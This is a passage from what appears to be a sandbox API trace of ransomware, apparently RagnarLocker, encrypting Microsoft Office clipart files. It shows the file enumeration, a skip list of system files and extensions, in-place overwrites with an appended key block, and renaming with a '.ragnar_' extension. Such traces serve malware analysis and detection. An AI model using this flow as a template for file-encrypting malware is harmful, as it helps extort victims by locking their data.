(lpString1="AG00160_.GIF", lpString2="bootmgr") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="bootmgr.efi") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="desktop.ini") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="iconcache.db") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ntldr") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ntuser.dat") returned -1 [0079.779] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.780] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="ntuser.ini") returned -1 [0079.780] lstrcmpiW (lpString1="AG00160_.GIF", lpString2="thumbs.db") returned -1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.780] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.780] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif")) returned 0x20 [0079.780] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.780] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1146) returned 1 [0079.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x471, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.780] GetProcessHeap () returned 0x580000 [0079.780] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.780] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.782] VirtualAlloc (lpAddress=0x0, dwSize=0x47a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.782] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x47a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x47a, lpOverlapped=0x0) returned 1 [0079.782] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.782] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x47a, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.782] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x47a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x47a, lpOverlapped=0x0) returned 1 [0079.782] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x47a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.782] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.783] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x47a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.783] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.783] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.783] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.783] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.783] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.783] GetProcessHeap () returned 0x580000 [0079.783] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.783] CloseHandle (hObject=0xf4) returned 1 [0079.783] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" [0079.783] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ragnar_FD7BD9FC" [0079.783] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00160_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00160_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.784] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0079.784] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.784] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00161_.GIF" | out: lpString1="AG00161_.GIF") returned="AG00161_.GIF" [0079.784] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned=".GIF" [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="autorun.inf") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="boot.ini") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootfont.bin") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootsect.bak") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootmgr") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootmgr.efi") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="desktop.ini") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="iconcache.db") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ntldr") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ntuser.dat") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="ntuser.ini") returned -1 [0079.784] lstrcmpiW (lpString1="AG00161_.GIF", lpString2="thumbs.db") returned -1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.784] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.784] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif")) returned 0x20 [0079.785] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.785] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7583) returned 1 [0079.785] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.785] GetProcessHeap () returned 0x580000 [0079.785] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.785] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.787] VirtualAlloc (lpAddress=0x0, dwSize=0x1d9f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.787] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.787] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d9f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d9f, lpOverlapped=0x0) returned 1 [0079.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d9f, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.788] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d9f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d9f, lpOverlapped=0x0) returned 1 [0079.788] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d9f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.788] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.788] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d9f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.788] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.788] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.788] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.788] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.789] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.789] GetProcessHeap () returned 0x580000 [0079.789] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.789] CloseHandle (hObject=0xf4) returned 1 [0079.789] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" [0079.789] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ragnar_FD7BD9FC" [0079.789] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00161_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00161_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.789] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0079.789] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.789] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00163_.GIF" | out: lpString1="AG00163_.GIF") returned="AG00163_.GIF" [0079.789] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned=".GIF" [0079.789] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.789] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="autorun.inf") returned -1 [0079.789] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="boot.ini") returned -1 [0079.789] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootfont.bin") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootsect.bak") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootmgr") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootmgr.efi") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="desktop.ini") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="iconcache.db") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ntldr") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ntuser.dat") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="ntuser.ini") returned -1 [0079.790] lstrcmpiW (lpString1="AG00163_.GIF", lpString2="thumbs.db") returned -1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0079.790] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0079.790] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif")) returned 0x20 [0079.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0079.791] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6984) returned 1 [0079.791] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b3f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.791] GetProcessHeap () returned 0x580000 [0079.791] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0079.791] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0079.793] VirtualAlloc (lpAddress=0x0, dwSize=0x1b48, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0079.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.793] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0079.793] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b48, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b48, lpOverlapped=0x0) returned 1 [0079.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0079.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b48, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.794] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b48, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b48, lpOverlapped=0x0) returned 1 [0079.794] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b48, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.794] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0079.794] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b48, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.794] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0079.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0079.794] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0079.795] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0079.795] GetProcessHeap () returned 0x580000 [0079.795] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0079.795] CloseHandle (hObject=0xf4) returned 1 [0079.795] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" [0079.795] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ragnar_FD7BD9FC" [0079.795] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00163_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00163_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0079.795] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0079.795] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0079.795] lstrcpyW (in: lpString1=0x1eb62e, lpString2="AG00164_.GIF" | out: lpString1="AG00164_.GIF") returned="AG00164_.GIF" [0079.795] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00164_.GIF") returned=".GIF" [0079.795] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.795] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="autorun.inf") returned -1 [0079.795] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="boot.ini") returned -1 [0079.795] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootfont.bin") returned -1 [0079.795] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootsect.bak") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootmgr") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootmgr.efi") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="bootmgfw.efi") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="desktop.ini") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="iconcache.db") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ntldr") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ntuser.dat") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ntuser.dat.log") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="ntuser.ini") returned -1 [0079.796] lstrcmpiW (lpString1="AG00164_.GIF", lpString2="thumbs.db") returned -1 [0079.796] lstrcmpiW 